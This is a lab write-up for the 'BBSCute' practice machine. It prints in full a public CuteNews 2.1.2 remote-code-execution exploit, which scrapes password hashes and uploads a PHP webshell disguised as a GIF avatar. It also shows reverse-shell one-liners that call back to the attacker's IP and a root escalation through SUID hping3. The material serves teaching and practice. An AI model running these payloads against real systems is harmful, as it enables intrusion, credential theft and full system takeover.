BBSCute

Lab Description

The target is compromised via Remote Code Execution (RCE) in CuteNews v2.1.2 through a vulnerable avatar upload feature. Privilege escalation is achieved by abusing SUID permissions on /usr/sbin/hping3, enabling root-level command execution.

Learning Objectives

After completion of this lab, learners will be able to:

- Enumerate services and directories using Nmap and Gobuster to identify the vulnerable web application.
- Exploit CuteNews v2.1.2 to achieve Remote Code Execution (RCE) and gain an initial shell.
- Upgrade the initial shell to a fully interactive reverse shell.
- Identify and abuse SUID permissions on the /usr/sbin/hping3 binary for root-level command execution.
- Create a root-level user by writing to /etc/passwd, bypassing restrictions with base64

Enumeration

Nmap

We have received the open ports below:

```
┌──(kali㉿kali)-[~]
└─$ nmap -v -Pn -A -sC -sV 192.168.210.128

Scanning 192.168.210.128 [1000 ports]
Discovered open port 110/tcp on 192.168.210.128
Discovered open port 80/tcp on 192.168.210.128
Discovered open port 995/tcp on 192.168.210.128
Discovered open port 22/tcp on 192.168.210.128
Discovered open port 88/tcp on 192.168.210.128

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 04:d0:6e:c4:ba:4a:31:5a:6f:b3:ee:b8:1b:ed:5a:b7 (RSA)
|   256 24:b3:df:01:0b:ca:c2:ab:2e:e9:49:b0:58:08:6a:fa (ECDSA)
|_  256 6a:c4:35:6a:7a:1e:7e:51:85:5b:81:5c:7c:74:49:84 (ED25519)

80/tcp  open  http     Apache httpd 2.4.38 ((Debian))
|_http-favicon: Unknown favicon MD5: 759585A56089DB516D1FBBBE5A8EEA57
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
| http-methods:
|_  Supported Methods: HEAD GET POST OPTIONS

88/tcp  open  http     nginx 1.14.2
|_http-title: 404 Not Found
|_http-server-header: nginx/1.14.2
```

```
110/tcp open  pop3     Courier pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinc
eName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Issuer: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/co
untryName=US
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-17T16:28:06
| Not valid after:  2021-09-17T16:28:06
| MD5:   5ee2:40c8:66d1:b327:71e6:085a:f50b:7e28
|_SHA-1: 28a3:acc0:86a7:cd64:8f09:78fa:1792:7032:0ecc:b154
|_pop3-capabilities: UTF8(USER) IMPLEMENTATION(Courier Mail Server) USER PIPELINING STLS LOGI
N-DELAY(10) UIDL TOP

995/tcp open  ssl/pop3 Courier pop3d
|_pop3-capabilities: IMPLEMENTATION(Courier Mail Server) USER PIPELINING UTF8(USER) LOGIN-DEL
AY(10) UIDL TOP
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinc
eName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Issuer: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/co
untryName=US
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-09-17T16:28:06
| Not valid after:  2021-09-17T16:28:06
| MD5:   5ee2:40c8:66d1:b327:71e6:085a:f50b:7e28
|_SHA-1: 28a3:acc0:86a7:cd64:8f09:78fa:1792:7032:0ecc:b154
|_ssl-date: TLS randomness does not represent time
Device type: general purpose|router

Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.
3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Uptime guess: 24.853 days (since Fri Nov  7 18:07:09 2025)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

┌──(kali㉿kali)-[~]
└─$
```

Since we know the service is running on port 80 (http), we will run it in browser.

Gobuster

As we have not received much information in Nmap, we will use gobuster to get information of the directories.

```
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://192.168.210.128/ -w /usr/share/wordlists/dirbuster/directory-list-
2.3-medium.txt -x php,html,txt,js,xml,env,pl,sh -t 50 -o bbscute_gobuster_directory.txt -b 40
4
```

```
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.210.128/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              xml,env,pl,sh,php,html,txt,js
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 10701]
/index.php            (Status: 200) [Size: 6175]
/search.php           (Status: 200) [Size: 5310]
/rss.php              (Status: 200) [Size: 105]
/docs                 (Status: 301) [Size: 317] [--> http://192.168.210.128/docs/]
/print.php            (Status: 200) [Size: 28]
/uploads              (Status: 301) [Size: 320] [--> http://192.168.210.128/uploads/]
/skins                (Status: 301) [Size: 318] [--> http://192.168.210.128/skins/]
/core                 (Status: 301) [Size: 317] [--> http://192.168.210.128/core/]
/manual               (Status: 301) [Size: 319] [--> http://192.168.210.128/manual/]
/popup.php            (Status: 200) [Size: 28]
/captcha.php          (Status: 200) [Size: 91]
/LICENSE.txt          (Status: 200) [Size: 3119]
/example.php          (Status: 200) [Size: 9522]
/libs                 (Status: 301) [Size: 317] [--> http://192.168.210.128/libs/]
/snippet.php          (Status: 200) [Size: 0]
/show_news.php        (Status: 200) [Size: 2987]
/cdata                (Status: 301) [Size: 318] [--> http://192.168.210.128/cdata/]
/server-status        (Status: 403) [Size: 280]

Progress: 1985022 / 1985022 (100.00%)
===============================================================
Finished
===============================================================


┌──(kali㉿kali)-[~]
└─$
```

```
┌──(kali㉿kali)-[~]
└─$ gobuster fuzz -u http://192.168.210.128/FUZZ -w /usr/share/wordlists/dirbuster/directory-
list-2.3-medium.txt -b 404 -o bbscute_gobuster_fuzzing.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.210.128/FUZZ
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Excluded Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
```

```
===============================================================
Starting gobuster in fuzzing mode
===============================================================
[Status=301] [Length=317] [Word=docs] http://192.168.210.128/docs [--> http://192.168.210.12
8/docs/]
[Status=301] [Length=320] [Word=uploads] http://192.168.210.128/uploads [--> http://192.168.2
10.128/uploads/]
[Status=301] [Length=318] [Word=skins] http://192.168.210.128/skins [--> http://192.168.210.1
28/skins/]
[Status=301] [Length=317] [Word=core] http://192.168.210.128/core [--> http://192.168.210.12
8/core/]
[Status=301] [Length=319] [Word=manual] http://192.168.210.128/manual [--> http://192.168.21
0.128/manual/]
[Status=301] [Length=317] [Word=libs] http://192.168.210.128/libs [--> http://192.168.210.12
8/libs/]
[Status=301] [Length=318] [Word=cdata] http://192.168.210.128/cdata [--> http://192.168.210.1
28/cdata/]
[Status=403] [Length=280] [Word=server-status] http://192.168.210.128/server-status
Progress: 220558 / 220558 (100.00%)
===============================================================
Finished
===============================================================
┌──(kali㉿kali)-[~]
└─$
```

With Gobuster we received that there is a directory named uploads, so if we can upload a reverse shell file and run through the browser we can get reverse shell access.

Searchsploit

As there is a page index.php, once we visit, we got to know that the site is running on CuteNews 2.1.2.

```
┌──(root㉿kali)-[/home/kali/Downloads]
└─# searchsploit CuteNews 2.1.2
---------------------------------------------------------------------------------------------
---------- ----------------------------------
 Exploit Title
|  Path
---------------------------------------------------------------------------------------------
---------- ----------------------------------
CuteNews 2.1.2 - 'avatar' Remote Code Execution (Metasploit)
| php/remote/46698.rb
CuteNews 2.1.2 - Arbitrary File Deletion
| php/webapps/48447.txt
CuteNews 2.1.2 - Authenticated Arbitrary File Upload
| php/webapps/48458.txt
CuteNews 2.1.2 - Remote Code Execution
| php/webapps/48800.py
---------------------------------------------------------------------------------------------
---------- ----------------------------------
Shellcodes: No Results


┌──(root㉿kali)-[/home/kali/Downloads]
└─# searchsploit -m php/webapps/48800.py
  Exploit: CuteNews 2.1.2 - Remote Code Execution
      URL: https://www.exploit-db.com/exploits/48800
```

```
     Path: /usr/share/exploitdb/exploits/php/webapps/48800.py
    Codes: CVE-2019-11447
 Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/kali/Downloads/48800.py

┌──(root㉿kali)-[/home/kali/Downloads]
└─#
```

Initial Foothold

Creating Payload

Below is the python file to get Remote Code Execution

```
# Exploit Title: CuteNews 2.1.2 - Remote Code Execution
# Google Dork: N/A
# Date: 2020-09-10
# Exploit Author: Musyoka Ian
# Vendor Homepage: https://cutephp.com/cutenews/downloading.php
# Software Link: https://cutephp.com/cutenews/downloading.php
# Version: CuteNews 2.1.2
# Tested on: Ubuntu 20.04, CuteNews 2.1.2
# CVE : CVE-2019-11447

#! /bin/env python3

import requests
from base64 import b64decode
import io
import re
import string
import random
import sys

banner = """



          _____     __      _  __                        ___   ___  ___
         / ___/_ __/ /____ / |/ /__ _    _____          |_  | <  / |_  |
        / /__/ // / __/ -_)    / -_) |/|/ (_-<         / __/_ / / / __/
        \___/\_,_/\__/\__/_/|_/\__/|__,__/___/        /____(_)_(_)____/
                                  ___  ________
                                 / _ \/ ___/ __/
                                / , _/ /__/ _/
                               /_/|_|\___/___/



"""
print (banner)
print ("[->] Usage python3 expoit.py")
print ()
sess = requests.session()
payload = "GIF8;\n<?php system($_REQUEST['cmd']) ?>"
ip = input("Enter the URL> ")
def extract_credentials():
```

```
    global sess, ip
    url = f"{ip}/cdata/users"
    encoded_creds = sess.get(url).text
    buff = io.StringIO(encoded_creds)
    chash = buff.readlines()
    if "Not Found" in encoded_creds:
            print ("[-] No hashes were found skipping!!!")
            return
    else:
        for line in chash:
            if "<?php die('Direct call - access denied'); ?>" not in line:
                credentials = b64decode(line)
                try:
                    sha_hash = re.search('"pass";s:64:"(.*?)"', credentials.decode()).group
(1)
                    print (sha_hash)
                except:
                    pass
def register():
    global sess, ip
    userpass = "".join(random.SystemRandom().choice(string.ascii_letters + string.digits ) fo
r _ in range(10))
    postdata = {
        "action" : "register",
        "regusername" : userpass,
        "regnickname" : userpass,
        "regpassword" : userpass,
        "confirm" : userpass,
        "regemail" : f"{userpass}@hack.me"
    }
    register = sess.post(f"{ip}/index.php?register", data = postdata, allow_redirects = Fals
e)
    if 302 == register.status_code:
        print (f"[+] Registration successful with username: {userpass} and password: {userpas
s}")
    else:
        sys.exit()
def send_payload(payload):
    global ip
    token = sess.get(f"{ip}/index.php?mod=main&opt=personal").text
    signature_key = re.search('signature_key" value="(.*?)"', token).group(1)
    signature_dsi = re.search('signature_dsi" value="(.*?)"', token).group(1)
    logged_user = re.search('disabled="disabled" value="(.*?)"', token).group(1)
    print (f"signature_key: {signature_key}")
    print (f"signature_dsi: {signature_dsi}")
    print (f"logged in user: {logged_user}")

    files = {
        "mod" : (None, "main"),
        "opt" : (None, "personal"),
        "__signature_key" : (None, f"{signature_key}"),
        "__signature_dsi" : (None, f"{signature_dsi}"),
        "editpassword" : (None, ""),
        "confirmpassword" : (None, ""),
        "editnickname" : (None, logged_user),
        "avatar_file" : (f"{logged_user}.php", payload),
        "more[site]" : (None, ""),
        "more[about]" : (None, "")
```

```
    }
    payload_send = sess.post(f"{ip}/index.php", files = files).text
    print("============================\nDropping to a SHELL\n============================")
    while True:
        print ()
        command = input("command > ")
        postdata = {"cmd" : command}
        output = sess.post(f"{ip}/uploads/avatar_{logged_user}_{logged_user}.php", data=postd
ata)
        if 404 == output.status_code:
            print ("sorry i can't find your webshell try running the exploit again")
            sys.exit()
        else:
            output = re.sub("GIF8;", "", output.text)
            print (output.strip())

if __name__ == "__main__":
    print ("=================================================================\nUsers SHA-256 H
ASHES TRY CRACKING THEM WITH HASHCAT OR JOHN\n=================================================
=================")
    extract_credentials()
    print ("=================================================================")
    print()
    print ("============================\nRegistering a users\n============================
=")
    register()
    print()
    print("=========================================================\nSending Payload\n========
=============================================")
    send_payload(payload)
    print ()
```

Running Payload

Now run the python file to get the shell access:

```
┌──(root㉿kali)-[/home/kali/Downloads]
└─# python3 48800.py
/home/kali/Downloads/48800.py:28: SyntaxWarning: invalid escape sequence '\_'
  \___/\_,_/\__/\__/_/|_/\__/|__,__/___/     /____(_)_(_)____/


          _____      __        _  __                        ___   ___  ___
         / ___/_ __/ /____ / |/ /__ _    _____       |_  | <  / |_  |
        / /__/ // / __/ -_)    / -_) |/|/ (_-<      / __/_ / / / __/
        \___/\_,_/\__/\__/_/|_/\__/|__,__/___/     /____(_)_(_)____/
                                ___  ________
                               / _ \/ ___/ __/
                              / , _/ /__/ _/
                             /_/|_|\___/___/



[->] Usage python3 expoit.py
```

```
Enter the URL> http://192.168.210.128
=================================================================
Users SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN
=================================================================
=================================================================

==============================
Registering a users
==============================
[+] Registration successful with username: JyBA1JLzZd and password: JyBA1JLzZd

=========================================================
Sending Payload
=========================================================
signature_key: 257b8e1ffc90693fafc46e18cd491930-JyBA1JLzZd
signature_dsi: 9f5b1aa13573cca6225a117061291f9d
logged in user: JyBA1JLzZd
==============================
Dropping to a SHELL
============================

command >
```

Privelege Excalation

Now as we received the shell access we will try to get more stable shell. So check whether python is available by writing "which python"

Netcat

We will use netcat because we tried to get reverse shell using the uploads directory and executing it in the browser,

Check in target machine whether netcat tool is available, then run the below script after opening the listener in host machine.

```
command > which nc
/usr/bin/nc
command > /bin/bash -i >& /dev/tcp/192.168.45.248/1234 0>&1
command > nc 192.168.45.248 1234 -e /bin/bash
```

Now listener has captured the connection and also run python script to get **my shell stabilized.**

```
┌──(root㉿kali)-[/home/kali/Downloads]
└─# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.45.248] from (UNKNOWN) [192.168.213.128] 35386

whoami
www-data

python -c 'import pty; pty.spawn("/bin/bash")'
www-data@cute:/var/www/html/uploads$
```

User Accounts

We will check all user accounts on the system.

```
www-data@cute:/$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
fox:x:1000:1000:fox,,,:/home/fox:/bin/bash
```

We got 1 flag inside the www directory.

```
www-data@cute:/var/www$ ls
ls
html  local.txt
www-data@cute:/var/www$ cat local.txt
bff6ece4b8d0018095f0b941c40360e0
www-data@cute:/var/www$
```

Available SUDO priveleges

```
www-data@cute:/$ sudo -l
Matching Defaults entries for www-data on cute:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on cute:
    (root) NOPASSWD: /usr/sbin/hping3 --icmp
www-data@cute:/$
```

So, “/usr/sbin/hping3” has root priveleges and do not require password to execute.

SUID Search

This check all the regular files that have the SUID bit set

```
www-data@cute:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/mount
/usr/sbin/hping3
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
```

```
/usr/lib/eject/dmcrypt-get-device
www-data@cute:/$
```

SUID Exploit for hping3 Use GTFO Bins

https://gtfobins.github.io/gtfobins/hping3/#sudo

I changed the hping3 SUID setup to work on this system and made it use bash.

```
www-data@cute:/$ /usr/sbin/hping3
/usr/sbin/hping3
hping3> /bin/bash -p
bash-5.0#
bash-5.0# cd /root
cd /root
bash-5.0# ls
ls
proof.txt  root.txt
bash-5.0# cat proof.txt
cat proof.txt
71cd7d55696d4bb2a54268e8a332ca39
bash-5.0#
```